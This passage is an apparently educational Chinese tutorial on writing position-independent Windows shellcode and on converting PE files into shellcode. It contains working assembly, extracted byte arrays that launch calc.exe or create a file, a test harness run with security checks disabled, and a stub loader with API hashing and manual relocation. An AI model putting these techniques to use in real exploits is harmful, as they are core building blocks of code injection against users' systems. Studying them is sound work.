  40106d:       39 d0                   cmp    eax,edx
  40106f:       72 e5                   jb     0x401056
  401071:       83 c4 26                add    esp,0x26
  401074:       eb 3f                   jmp    0x4010b5
  401076:       8b 4d f4                mov    ecx,DWORD PTR [ebp-0xc]
  401079:       8b 55 ec                mov    edx,DWORD PTR [ebp-0x14]
  40107c:       66 8b 04 41             mov    ax,WORD PTR [ecx+eax*2]
  401080:       8b 04 82                mov    eax,DWORD PTR [edx+eax*4]
  401083:       01 d8                   add    eax,ebx
  401085:       31 d2                   xor    edx,edx
  401087:       52                      push   edx
  401088:       68 2e 65 78 65          push   0x6578652e
  40108d:       68 63 61 6c 63          push   0x636c6163
  401092:       68 6d 33 32 5c          push   0x5c32336d
  401097:       68 79 73 74 65          push   0x65747379
  40109c:       68 77 73 5c 53          push   0x535c7377
  4010a1:       68 69 6e 64 6f          push   0x6f646e69
  4010a6:       68 43 3a 5c 57          push   0x575c3a43
  4010ab:       89 e6                   mov    esi,esp
  4010ad:       6a 0a                   push   0xa
  4010af:       56                      push   esi
  4010b0:       ff d0                   call   eax
  4010b2:       83 c4 46                add    esp,0x46
  4010b5:       5d                      pop    ebp
  4010b6:       61                      popa   
  4010b7:       c3                      ret

可以看到 401018 地址處的指令:

  401018:       64 8b 1d 30 00 00 00    mov    ebx,DWORD PTR fs:0x30

這條指令包含了 0x00 壞字符。使用 WinREPL 也可以看到對應的機器碼:

Bad Char Winrepl

包含 0x00 會使得 shellcode 在緩沖區溢出攻擊上沒那么有用,可以通過改變尋址方式修改機器碼。

將原代碼修改為:

    xor esi, esi
    mov ebx, [fs:0x30 + esi]

objdump 結果:

  401018:       31 f6                   xor    esi,esi
  40101a:       64 8b 5e 30             mov    ebx,DWORD PTR fs:[esi+0x30]

成功消除了 0x00 壞字符。

問題2 棧對齊

下面的代碼會導致棧對齊問題:

    xor esi, esi
    push esi                ; null terminated
    push 0x63
    pushw 0x6578
    push 0x456e6957

push esipush 0x63 后,棧均是 4 字節對齊。pushw 0x6578 后,棧變為 2 字節對齊。push 0x456e6957 后,棧仍然是 2 字節對齊。這導致調用 WinExec 時,棧不是 4 字節對齊,在 Window 10 以下的版本運行 shellcode 就可能會出現問題。

為了說明這個問題,可以在 x32dbg 上進行調試

Stack Alignment

可以用下面的代碼解決這個問題。每次 push 操作都使棧是 4 字節對齊。

    xor esi, esi
    push esi                ; null terminated
    push 0x636578
    push 0x456e6957
    mov [ebp - 4], esp      ; var4 = "WinExec\x00"

問題3 問題 2 導致的壞字符

上面的代碼可以解決棧對齊的問題,但是帶來了新的壞字符問題,下面是反匯編結果:

  401007:       31 f6                   xor    esi,esi
  401009:       56                      push   esi
  40100a:       68 78 65 63 00          push   0x636578
  40100f:       68 57 69 6e 45          push   0x456e6957

push 0x636578 指令出現了 0x00 壞字符,所以還需要再修改。

    xor esi, esi
    pushw si                ; null terminated
    push 0x63
    pushw 0x6578
    push 0x456e6957

這樣修改,先 push 兩個字節,再 push 四個字節,push 兩個字節,push 四個字節,最終棧還是四字節對齊。對應的機器碼:

  401007:       31 f6                   xor    esi,esi
  401009:       66 56                   push   si
  40100b:       6a 63                   push   0x63
  40100d:       66 68 78 65             pushw  0x6578
  401011:       68 57 69 6e 45          push   0x456e6957

可以看到成功消除了 0x00 壞字符。

最終的 shellcode:

format PE console
use32
entry start
start:
    ; establish a new stack frame
    pushad
    push ebp
    mov ebp, esp

    sub esp, 0x18           ; alloc for local variables
    
    xor esi, esi
    pushw si                ; null terminated
    push 0x63
    pushw 0x6578
    push 0x456e6957
    mov [ebp - 4], esp      ; var4 = "WinExec\x00"

    ; find kernel32.dll
    xor esi, esi
    mov ebx, [fs:0x30 + esi]
    mov ebx, [ebx + 0x0c]   ; &PEB_LDR_DATA
    mov ebx, [ebx + 0x14]   ; &InMemoryModuleList
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next(ntdll.dll)
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next->next(kernel32.dll)
    mov ebx, [ebx + 0x10]   ; InMemoryOrderModuleList->next->next->base
    mov [ebp - 8], ebx      ; var8 = kernel32.dll base address

    ; find WinExec Address
    mov eax, [ebx + 0x3c]   ; RVA of PE signature
    add eax, ebx            ; Address of PE signature
    mov eax, [eax + 0x78]   ; RVA of Export Table
    add eax, ebx            ; Address of Export Table

    mov ecx, [eax + 0x24]   ; RVA of Ordinal Table
    add ecx, ebx            ; address of Ordinal Table
    mov [ebp - 0x0c], ecx   ; var12 = address of Ordinal Table

    mov edi, [eax + 0x20]   ; RVA of Name Pointer Table
    add edi, ebx            ; address of Name Pointer Table
    mov [ebp - 0x10], edi   ; var16 = address of Name Pointer Table

    mov edx, [eax + 0x1c]   ; RVA of Address Table
    add edx, ebx            ; Address of Address Table
    mov [ebp - 0x14], edx   ; var20 = address of Address Table

    mov edx, [eax + 0x14]   ; Number of exported functions

    xor eax, eax            ; counter = 0
.loop:
    mov edi, [ebp - 0x10]   ; edi = var16 = address of Name Pointer Table
    mov esi, [ebp - 4]      ; esi = var4 = "WinExec\x00"
    xor ecx, ecx

    cld                     ; set DF = 0 process string left to right
    mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long

    add edi, ebx            ; address of string
    add cx, 8               ; length to compare
    repe cmpsb              ; compare first 8 bytes in
                            ; esi and edi. ZF=1 if equal, ZF=0 if not
    jz start.found

    inc eax                 ; counter++
    cmp eax, edx            ; check if last function is reached
    jb start.loop

    add esp, 0x24
    jmp start.end           ; not found, jmp to end
.found:
    ;  eax holds the position
    mov ecx, [ebp - 0x0c]   ; ecx = var12 = address of Ordinal Table
    mov edx, [ebp - 0x14]   ; edx = var20 = address of Address Table

    mov ax, [ecx + eax * 2] ; ax = ordinal number
    mov eax, [edx + eax * 4]; eax = RVA of function
    add eax, ebx            ; eax = address of fuction
    ; call function
    xor edx, edx
    push edx		        ; null termination
    push 6578652eh
    push 636c6163h
    push 5c32336dh
    push 65747379h
    push 535c7377h
    push 6f646e69h
    push 575c3a43h
    mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
    
    push 10                 ; window state SW_SHOWDEFAULT
    push esi                ; "C:\Windows\System32\calc.exe"
    call eax                ; WinExec
    add esp, 0x44           ; clear the stack

.end:
    pop ebp
    popad
    ret

shellcode 測試

可以使用 010Editor 等工具把編譯好的目標文件中的代碼提取出來,下面是我利用 010Editor 提取的結果:

unsigned char sc[184] = {
    0x60, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x18, 0x31, 0xF6, 0x66, 0x56, 0x6A, 0x63, 0x66, 0x68, 0x78,
    0x65, 0x68, 0x57, 0x69, 0x6E, 0x45, 0x89, 0x65, 0xFC, 0x31, 0xF6, 0x64, 0x8B, 0x5E, 0x30, 0x8B,
    0x5B, 0x0C, 0x8B, 0x5B, 0x14, 0x8B, 0x1B, 0x8B, 0x1B, 0x8B, 0x5B, 0x10, 0x89, 0x5D, 0xF8, 0x8B,
    0x43, 0x3C, 0x01, 0xD8, 0x8B, 0x40, 0x78, 0x01, 0xD8, 0x8B, 0x48, 0x24, 0x01, 0xD9, 0x89, 0x4D,
    0xF4, 0x8B, 0x78, 0x20, 0x01, 0xDF, 0x89, 0x7D, 0xF0, 0x8B, 0x50, 0x1C, 0x01, 0xDA, 0x89, 0x55,
    0xEC, 0x8B, 0x50, 0x14, 0x31, 0xC0, 0x8B, 0x7D, 0xF0, 0x8B, 0x75, 0xFC, 0x31, 0xC9, 0xFC, 0x8B,
    0x3C, 0x87, 0x01, 0xDF, 0x66, 0x83, 0xC1, 0x08, 0xF3, 0xA6, 0x74, 0x0A, 0x40, 0x39, 0xD0, 0x72,
    0xE5, 0x83, 0xC4, 0x26, 0xEB, 0x3F, 0x8B, 0x4D, 0xF4, 0x8B, 0x55, 0xEC, 0x66, 0x8B, 0x04, 0x41,
    0x8B, 0x04, 0x82, 0x01, 0xD8, 0x31, 0xD2, 0x52, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61,
    0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73, 0x74, 0x65, 0x68, 0x77, 0x73, 0x5C,
    0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C, 0x57, 0x89, 0xE6, 0x6A, 0x0A, 0x56,
    0xFF, 0xD0, 0x83, 0xC4, 0x46, 0x5D, 0x61, 0xC3 
};

然后編寫測試程序,將 shellcode 解析為函數指針並調用。

int main(int argc, char const *argv[])
{
    ((void(*)())sc)();
    return 0;
}

可以使用 gcc 編譯,或者使用 msvc 編譯。使用 msvc 編譯時要加上 /GS- 參數關閉安全檢查並且關閉 DEP 防護。

編譯后運行就會打開計算器程序。

Testshell

另外一個 shellcode

現在已經有一個調用 WinExec 函數打開計算機的 shellcode,同理,可以寫一個調用 CreateFileA 函數創建文件的 shellcode

  1. 修改棧中 WinExec 字符串為 OpenFileA
    xor esi, esi
    pushw si                ; null terminated   2bytes
    push 0x41               ; 4 bytes
    pushw 0x656c            ; 2 bytes
    push 0x69466574         ; 4 bytes
    push 0x61657243         ; 4 bytes
    mov [ebp - 4], esp      ; var4 = "CreateFileA\x00"
  1. 修改比較字符串長度,釋放堆棧的大小
    add cx, 11               ; length to compare
    ...
    add esp, 0x28           ; 0x18 + 2 + 4 + 2 + 4 + 4
    jmp start.end           ; not found, jmp to end
  1. 修改調用函數部分的代碼
    ; call function
    push 0x74		        ; null termination
    push 0x78742e67
    push 0x6e697867
    push 0x6e616869
    push 0x65772d34
    push 0x32333038
    push 0x30323033
    push 0x39313032
    mov esi, esp            ; esi -> "2019302080324-weihangxing.txt"
    
    xor edx, edx
    push edx                ; hTemplateFile = NULL
    mov dl, 0x80            ; edx = 0x80
    push edx                ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
    push 1                  ; dwCreationDisposition = CREATE_NEW
    xor edx, edx
    push edx                ; lpSecurityAttributes = NULL
    push edx                ; dwShareMode = do not share
    mov dl, 1
    sal edx, 30             ; edx = 1 << 30 = 0x40000000
    push edx                ; dwDesiredAccess = GENERIC_WRITE
    push esi                ; "2019302080324-weihangxing.txt"
    call eax                ; WinExec
    add esp, 0x48           ; clear the stack
                            ; 0x28 + 8 * 4 = 0x48

為了避免出現 0x00 字符,使用 edx 寄存器間接得到需要壓入堆棧的值。

最終的修改后的 shellcode 為:

format PE console
use32
entry start
start:
    ; establish a new stack frame
    pushad
    push ebp
    mov ebp, esp

    sub esp, 0x18           ; alloc for local variables
    
    xor esi, esi
    pushw si                ; null terminated   2bytes
    push 0x41               ; 4 bytes
    pushw 0x656c            ; 2 bytes
    push 0x69466574         ; 4 bytes
    push 0x61657243         ; 4 bytes
    mov [ebp - 4], esp      ; var4 = "CreateFileA\x00"

    ; find kernel32.dll
    xor esi, esi
    mov ebx, [fs:0x30 + esi]
    mov ebx, [ebx + 0x0c]   ; &PEB_LDR_DATA
    mov ebx, [ebx + 0x14]   ; &InMemoryModuleList
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next(ntdll.dll)
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next->next(kernel32.dll)
    mov ebx, [ebx + 0x10]   ; InMemoryOrderModuleList->next->next->base
    mov [ebp - 8], ebx      ; var8 = kernel32.dll base address

    ; find CreateFileA Address
    mov eax, [ebx + 0x3c]   ; RVA of PE signature
    add eax, ebx            ; Address of PE signature
    mov eax, [eax + 0x78]   ; RVA of Export Table
    add eax, ebx            ; Address of Export Table

    mov ecx, [eax + 0x24]   ; RVA of Ordinal Table
    add ecx, ebx            ; address of Ordinal Table
    mov [ebp - 0x0c], ecx   ; var12 = address of Ordinal Table

    mov edi, [eax + 0x20]   ; RVA of Name Pointer Table
    add edi, ebx            ; address of Name Pointer Table
    mov [ebp - 0x10], edi   ; var16 = address of Name Pointer Table

    mov edx, [eax + 0x1c]   ; RVA of Address Table
    add edx, ebx            ; Address of Address Table
    mov [ebp - 0x14], edx   ; var20 = address of Address Table

    mov edx, [eax + 0x14]   ; Number of exported functions

    xor eax, eax            ; counter = 0
.loop:
    mov edi, [ebp - 0x10]   ; edi = var16 = address of Name Pointer Table
    mov esi, [ebp - 4]      ; esi = var4 = "WinExec\x00"
    xor ecx, ecx

    cld                     ; set DF = 0 process string left to right
    mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long

    add edi, ebx            ; address of string
    add cx, 11               ; length to compare
    repe cmpsb              ; compare first 8 bytes in
                            ; esi and edi. ZF=1 if equal, ZF=0 if not
    jz start.found

    inc eax                 ; counter++
    cmp eax, edx            ; check if last function is reached
    jb start.loop

    add esp, 0x28           ; 0x18 + 2 + 4 + 2 + 4 + 4
    jmp start.end           ; not found, jmp to end
.found:
    ;  eax holds the position
    mov ecx, [ebp - 0x0c]   ; ecx = var12 = address of Ordinal Table
    mov edx, [ebp - 0x14]   ; edx = var20 = address of Address Table

    mov ax, [ecx + eax * 2] ; ax = ordinal number
    mov eax, [edx + eax * 4]; eax = RVA of function
    add eax, ebx            ; eax = address of fuction
    ; call function
    push 0x74		        ; null termination
    push 0x78742e67
    push 0x6e697867
    push 0x6e616869
    push 0x65772d34
    push 0x32333038
    push 0x30323033
    push 0x39313032
    mov esi, esp            ; esi -> "2019302080324-weihangxing.txt"
    
    xor edx, edx
    push edx                ; hTemplateFile = NULL
    mov dl, 0x80            ; edx = 0x80
    push edx                ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
    push 1                  ; dwCreationDisposition = CREATE_NEW
    xor edx, edx
    push edx                ; lpSecurityAttributes = NULL
    push edx                ; dwShareMode = do not share
    mov dl, 1
    sal edx, 30             ; edx = 1 << 30 = 0x40000000
    push edx                ; dwDesiredAccess = GENERIC_WRITE
    push esi                ; "2019302080324-weihangxing.txt"
    call eax                ; WinExec
    add esp, 0x48           ; clear the stack
                            ; 0x28 + 8 * 4 = 0x48

.end:
    pop ebp
    popad
    ret

使用 010 Editor 提取為 c 代碼:

unsigned char sc[204] = {
    0x60, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x18, 0x31, 0xF6, 0x66, 0x56, 0x6A, 0x41, 0x66, 0x68, 0x6C,
    0x65, 0x68, 0x74, 0x65, 0x46, 0x69, 0x68, 0x43, 0x72, 0x65, 0x61, 0x89, 0x65, 0xFC, 0x31, 0xF6,
    0x64, 0x8B, 0x5E, 0x30, 0x8B, 0x5B, 0x0C, 0x8B, 0x5B, 0x14, 0x8B, 0x1B, 0x8B, 0x1B, 0x8B, 0x5B,
    0x10, 0x89, 0x5D, 0xF8, 0x8B, 0x43, 0x3C, 0x01, 0xD8, 0x8B, 0x40, 0x78, 0x01, 0xD8, 0x8B, 0x48,
    0x24, 0x01, 0xD9, 0x89, 0x4D, 0xF4, 0x8B, 0x78, 0x20, 0x01, 0xDF, 0x89, 0x7D, 0xF0, 0x8B, 0x50,
    0x1C, 0x01, 0xDA, 0x89, 0x55, 0xEC, 0x8B, 0x50, 0x14, 0x31, 0xC0, 0x8B, 0x7D, 0xF0, 0x8B, 0x75,
    0xFC, 0x31, 0xC9, 0xFC, 0x8B, 0x3C, 0x87, 0x01, 0xDF, 0x66, 0x83, 0xC1, 0x0B, 0xF3, 0xA6, 0x74,
    0x0A, 0x40, 0x39, 0xD0, 0x72, 0xE5, 0x83, 0xC4, 0x28, 0xEB, 0x4E, 0x8B, 0x4D, 0xF4, 0x8B, 0x55,
    0xEC, 0x66, 0x8B, 0x04, 0x41, 0x8B, 0x04, 0x82, 0x01, 0xD8, 0x6A, 0x74, 0x68, 0x67, 0x2E, 0x74,
    0x78, 0x68, 0x67, 0x78, 0x69, 0x6E, 0x68, 0x69, 0x68, 0x61, 0x6E, 0x68, 0x34, 0x2D, 0x77, 0x65,
    0x68, 0x38, 0x30, 0x33, 0x32, 0x68, 0x33, 0x30, 0x32, 0x30, 0x68, 0x32, 0x30, 0x31, 0x39, 0x89,
    0xE6, 0x31, 0xD2, 0x52, 0xB2, 0x80, 0x52, 0x6A, 0x01, 0x31, 0xD2, 0x52, 0x52, 0xB2, 0x01, 0xC1,
    0xE2, 0x1E, 0x52, 0x56, 0xFF, 0xD0, 0x83, 0xC4, 0x48, 0x5D, 0x61, 0xC3 
};

編譯運行 shellcode,可以看到成功創建了文件。

Create File Testshell

PE 文件轉 shellcode

能不能從 PE 文件直接生成 shellcode 呢?答案應該是可以,但是比較復雜。

為了實現從 PE 文件到 shellcode 的轉換,有幾個問題需要仔細考慮一下:

  • 如何將 PE 裝載入內存
  • 如何解決引入 DLL 的問題
  • 如何解決重定位的問題

對於第一個問題,可以模擬 PE 文件加載到內存的過程,然后保存為新的 PE 文件。新的 PE 文件每個節的 PointerToRawVirtualAddress 是相等的。

有了前面手動編寫 shellcode 的基礎,后兩個問題就變得較為簡單。大概的步驟如下:

  1. 找到 kernel32.dll 的地址
  2. 找到 GetProcAddressLoadLibraryA 的地址
  3. 遍歷 Import Directory Table
  4. 使用 LoadLibraryA 加載所需的 DLL 文件
  5. 遍歷引入函數 Import Name TableImport Address Table
  6. 使用 GetProcAddress 得到引入函數的地址,填寫 Import Address Table
  7. 遍歷 Relocation Block,手動重定位

這相當於手動寫了一個較為簡易的 PE loader,稱為 stub 程序stub 程序一般比較大,為了實現修改后的 shellcode 仍然是一個 PE 文件的目的,可以將 stub 程序附在 PE 文件末尾,修改 PE 的 DOS header,由修改后的 PE DOS Header 中的代碼跳轉到 stub 程序中。stub 程序完成加載 DLL重定位,然后跳轉到 PE 的 EntryPoint

但是,這種方式產生的 shellcode 是相當粗糙的,很有可能會產生 0x00 壞字符。同時,不是所有的 PE 文件都可以用這種方式轉為 shellcode。如果 PE 文件本身沒有重定位表,也就是說,PE 文件中遠過程調用操作數為函數在引入表的虛擬地址,這樣的 PE 在轉換時需要修改遠過程調用的參數,比較復雜,就不能通過這種方式轉為 shellcode。

下面詳細說明這種方式的轉換過程。

模擬 PE 裝載入內存的過程

shellcode 對於操作系統來說是一段數據,不會按照 PE 文件的方式去解析並加載進內存中。那么,PE 文件轉為 shellcode 之前,我們需要手動完成這個映射過程。這樣,shellcode 加載進內存后就相當於 PE 文件被加載進入內存中。

PE 文件裝載的過程就是 PE 中每個節映射到內存的過程。

Pe Load

我們要做的就是模擬這個過程,區別是映射到一個新的文件中。

  1. 新建文件,大小為 SizeOfImage
  2. 根據每個節的 VirtualAddress 和 RawDataSize,復制節的內容到新的文件
  3. 修改每個節的 PointertoRawData,rawDataSize
  4. 修改 OptionalHeader 的 FileAlignment

創建新 PE 文件

新建文件,讀入 stub 程序后,計算新文件大小。

size_t pe2sh(PE_file* ppeFile, char **shellcode, char* savePath) {

	DWORD imageSize = ppeFile->pimageNTHeaders->OptionalHeader.SizeOfImage;
	
	// read stub program
	BYTE* stub;
	DWORD stubSize = readStubFile(&stub);

	// new file
	// DWORD stubSizeAligned = align(stubSize, ppeFile->pimageNTHeaders->OptionalHeader.SectionAlignment);
	DWORD newfileSize = imageSize + stubSize;
	BYTE* newfile = (BYTE*)malloc(newfileSize);
	if (newfile == NULL) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}
	memset(newfile, 0, newfileSize);

將舊 PE 文件中每一個節裝載到新 PE 文件中

復制每個節到對應的位置,復制 PE 頭部信息。

	// copy sections to their virtual address
	WORD sectionNumbers = ppeFile->pimageNTHeaders->FileHeader.NumberOfSections;
	for (size_t i = 0; i < sectionNumbers; i++) {
		PIMAGE_SECTION_HEADER phdr = ppeFile->ppimageSectionHeader[i];
		if (phdr->SizeOfRawData == 0 || phdr->Misc.VirtualSize == 0) continue;
		LPVOID destAddr = phdr->VirtualAddress + (BYTE*)newfile;
		LPVOID rawAddr = phdr->PointerToRawData + (BYTE*)ppeFile->innerBuffer;
		DWORD copySize = phdr->SizeOfRawData;
		memcpy(destAddr, rawAddr, copySize);
	}

	// copy headers
	memcpy(newfile, ppeFile->innerBuffer, ppeFile->pimageNTHeaders->OptionalHeader.SizeOfHeaders);

修改新的 PE 文件的節頭信息。

	// parse new PE file
	PE_file newPEFile;
	newPEFile.innerBuffer = newfile;
	newPEFile.fileSize = newfileSize;
	_PEParse(&newPEFile);

	// overwrite headers
	// file alignment
	newPEFile.pimageNTHeaders->OptionalHeader.FileAlignment =
		newPEFile.pimageNTHeaders->OptionalHeader.SectionAlignment;
	// update section headers
	for (size_t i = 0; i < sectionNumbers; i++) {
		PIMAGE_SECTION_HEADER phdr = newPEFile.ppimageSectionHeader[i];
		phdr->Misc.VirtualSize = align(phdr->Misc.VirtualSize,
			newPEFile.pimageNTHeaders->OptionalHeader.SectionAlignment);
		phdr->PointerToRawData = phdr->VirtualAddress;
		phdr->SizeOfRawData = phdr->Misc.VirtualSize;
	}
	// copy stub program
	memcpy(newfile + imageSize, stub, stubSize);
	// overwrite DOS header
	overwriteHeader(newfile, imageSize);
	// save file
	PESave(&newPEFile, savePath);
	// free buffer
	free(stub);
	*shellcode = newfile;
	return newfileSize;
}

手動引入 DLL

手動引入 DLL 的方法:

  1. 找到 kernel32.dll 的地址
  2. 找到 GetProcAddressLoadLibraryA 的地址
  3. 遍歷 Import Directory Table
  4. 使用 LoadLibraryA 加載所需的 DLL 文件
  5. 遍歷引入函數 Import Name TableImport Address Table
  6. 使用 GetProcAddress 得到引入函數的地址,填寫 Import Address Table

有了上面手動編寫 shellcode 的基礎,可以試着理解下面的代碼。唯一不同的地方是尋找函數對比的是函數名字的 CRC 校驗值,而不是直接對比函數名字。這種方法的優點是需要對比的內容大小固定為 4 字節,缺點是較為麻煩。如果對於 CRC 算法不清楚,建議學習一下 CRC 原理和實現。代碼的注釋寫得非常詳細,在這里就不多重復敘述整個過程。

bits 32
%include "hldr32.inc"

;-----------------------------------------------------------------------------
;recover kernel32 image base
;-----------------------------------------------------------------------------

hldr_begin:
        pushad                                  ;must save ebx/edi/esi/ebp
        ; push eax, ecx, edx, ebx, original esp, ebp, esi, edi
        push    tebProcessEnvironmentBlock      ; 0x30
        pop     eax                             ; eax = 0x30
        fs mov  eax, dword [eax]                ; eax = address of PEB
        mov     eax, dword [eax + pebLdr]       ; eax = address of PEB_LDR_DATA
        mov     esi, dword [eax + ldrInLoadOrderModuleList]     ; eax = first entry of ldrInLoadOrderModuleList
        lodsd                                   ; eax = second entry, ntdll.dll
        xchg    eax, esi                        
        lodsd                                   ; eax = third entry, kernel32.dll
        mov     ebp, dword [eax + mlDllBase]    ; eax = kernel32.dll base address
        call    parse_exports

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

        dd      0C97C1FFFh               ;GetProcAddress
        dd      03FC1BD8Dh               ;LoadLibraryA
        db      0

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

parse_exports:
        pop     esi                             ; esi = address of API CRC table
        mov     ebx, ebp                        ; ebx = base address of kernel32.dll
        mov     eax, dword [ebp + lfanew]       ; eax = RVA of PE signature
        add     ebx, dword [ebp + eax + IMAGE_DIRECTORY_ENTRY_EXPORT]   ; ebx = address of Export Table
        cdq                                     ; edx = 0, eax > 0

walk_names:
        mov     eax, ebp                        ; eax = base address of kernel32.dll
        mov     edi, ebp                        ; edi = base address of kernel32.dll
        inc     edx                             ; edx++
        add     eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNames]     ; eax = address of Name Pointer Table
        add     edi, dword [eax + edx * 4]      ; edi = edx'th function Name
        or      eax, -1                         ; eax = 0xffffffff

crc_outer:
        xor     al, byte [edi]                  ; al = ~byte [edi]
        push    8                               
        pop     ecx                             ; ecx = 8

crc_inner:
        shr     eax, 1                          ; eax >> 1
        jnc     crc_skip                        ; if eax[0] != 1
        xor     eax, 0edb88320h                 ; crc operation

crc_skip:
        loop    crc_inner
        inc     edi
        cmp     byte [edi], cl
        jne     crc_outer
        not     eax
        cmp     dword [esi], eax                ; compare API CRC
        jne     walk_names

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
        ; found GetProcAddress
        ; edx = position of GetProcAddress
        mov     edi, ebp                ; edi = base address of kernel32.dll
        mov     eax, ebp                ; eax = base address of kernel32.dll
        add     edi, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNameOrdinals]      ; edi = address of Ordinal Table
        movzx   edi, word [edi + edx * 2]       ; edi = Orinal Number of GetProcAddress
        add     eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfFunctions] ; eax = address of Address Table
        mov     eax, dword [eax + edi * 4]      ; eax = RVA of GetProcAddress
        add     eax, ebp                        ; eax = address of GetProcAddress
        push    eax                             ; push address of GetProcAddress/LoadLibraryA
        lodsd
        sub     cl, byte [esi]
        jnz     walk_names

;-----------------------------------------------------------------------------
;save the pointers to the PE structure
;-----------------------------------------------------------------------------

        ; stack looks like:
        ; ImageBase, pushed by header code
        ; ret to header code    4 bytes
        ; pushad registers      0x20 bytes
        ; GetProcAddress        4 bytes
        ; LoadLibraryA          <== esp

        mov     esi, dword [esp + krncrcstk_size + 20h + 4]     ; esi = ImageBase
        mov     ebp, dword [esi + lfanew]       ; ebp = RVA of PE signature
        add     ebp, esi                        ; ebp = address of PE signature

        push    esi
        mov     ebx, esp                        ; ebx = address of ImageBase
        mov     edi, esi                        ; edi = ImageBase

;-----------------------------------------------------------------------------
;import DLL
;-----------------------------------------------------------------------------

        pushad
        mov     cl, IMAGE_DIRECTORY_ENTRY_IMPORT
        mov     ebp, dword [ecx + ebp]          ; ebp = RVA of Import Table
        test    ebp, ebp                        ; check if PE has import table
        je      import_popad                    ; if import table not found, skip loading
        add     ebp, edi                        ; ebp = address of Import Table

import_dll:
        mov     ecx, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idName]      ; ecx = RVA of Import DLL Name
        jecxz   import_popad                                            ; jmp if ecx == 0
        add     ecx, dword [ebx]                                        ; ecx = address of Import DLL Name
        push    ecx                                                     ; address of Import DLL Name
        call    dword [ebx + mapstk_size + krncrcstk.kLoadLibraryA]     ; LoadLibraryA
        xchg    ecx, eax
        mov     edi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idFirstThunk]        ; edi = RVA of Import Address Table
        mov     esi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idOriginalFirstThunk]; esi = RVA of Import Name Table
        test    esi, esi                                                        ; if OriginalFirstThunk is NULL... 
        cmove   esi, edi                                                        ; use FirstThunk instead of OriginalFirstThunk
        add     esi, dword [ebx]                                                ; convert RVA to VA
        add     edi, dword [ebx]

import_thunks:
        lodsd                   ; eax = [esi], RVA of function name
        test    eax, eax
        je      import_next     ; reach 0x000000
        btr     eax, 31         
        jc      import_push
        add     eax, dword [ebx]; address of function Name
        inc     eax
        inc     eax

import_push:
        push    ecx             ; address of Import DLL Name, save ecx
        push    eax             ; address of function name
        push    ecx             ; address of Import DLL Name
        call    dword [ebx + mapstk_size + krncrcstk.kGetProcAddress]
        pop     ecx             ; restore ecx
        stosd                   ; store address of function to [edi]
        jmp     import_thunks

import_next:
        add     ebp, _IMAGE_IMPORT_DESCRIPTOR_size      ; turn to import next DLL functions
        jmp     import_dll

import_popad:
        popad

手動重定位

不同重定位類型重定位方式有很大不同,方便起見,我們只實現基礎的 IMAGE_REL_BASED_HIGHLOWIMAGE_REL_BASED_ABSOLUTE

IMAGE_REL_BASED_ABSOLUTE 類型是用來填充對齊重定位塊的,可以直接忽略。IMAGE_REL_BASED_HIGHLOW 的類型描述如下,摘自微軟文檔。

The base relocation applies all 32 bits of the difference to the 32-bit field at offset.

這種類型的重定位方式儲存的是與 32 位地址的偏移量。因此只需要重新計算偏移量即可,舊的偏移量根據舊的 ImageBase 計算得到,新偏移量 = 舊偏移量 - 舊 ImageBase + 新 ImageBase

使用匯編代碼實現,代碼的注釋比較詳細:

;-----------------------------------------------------------------------------
;apply relocations
;-----------------------------------------------------------------------------

        mov     cl, IMAGE_DIRECTORY_ENTRY_RELOCS
        lea     edx, dword [ebp + ecx]          ; relocation entry in data directory
        add     edi, dword [edx]                ; address of relocation block table
        xor     ecx, ecx

reloc_block:
        pushad
        mov     ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock]  ; ecx = size of block
        sub     ecx, IMAGE_BASE_RELOCATION_size                         ; ecx = size of block - 8(meta info size)
        cdq                                                             ; edx = 0, because eax = 0

reloc_addr:
        movzx   eax, word [edi + edx + IMAGE_BASE_RELOCATION_size]      ; eax = firt reloc entry (16bits: 4 bits type, 12 bits offset)
        push    eax                                                     ; save reloc entry
        and     ah, 0f0h                                                ; get type of reloc entry
        cmp     ah, IMAGE_REL_BASED_HIGHLOW << 4                        ; if reloc type == HIGHLOW
        pop     eax                                                     ; restore reloc entry
        jne     reloc_abs                                               ; another type not HIGHLOW
        and     ah, 0fh                                                 ; get offset
        add     eax, dword [edi + IMAGE_BASE_RELOCATION.rePageRVA]      ; eax = RVA of reloc address
        add     eax, dword [ebx]                                        ; eax = address of reloc address
        mov     esi, dword [eax]                                        ; esi = old reloc address
        sub     esi, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohImageBasex]
        add     esi, dword [ebx]                                        ; new reloc address = old reloc address - old ImageBase + new ImageBase
        mov     dword [eax], esi                                        ; change reloc address
        xor     eax, eax                                                ; eax = 0

reloc_abs:
        test    eax, eax                                                ; check for IMAGE_REL_BASED_ABSOLUTE
        jne     hldr_exit                                               ; not supported relocation type
        inc     edx                                                     ; counter += 2
        inc     edx
        cmp     ecx, edx                                                ; reloc entry left
        jg     reloc_addr
        popad                                                           ; relocated a block
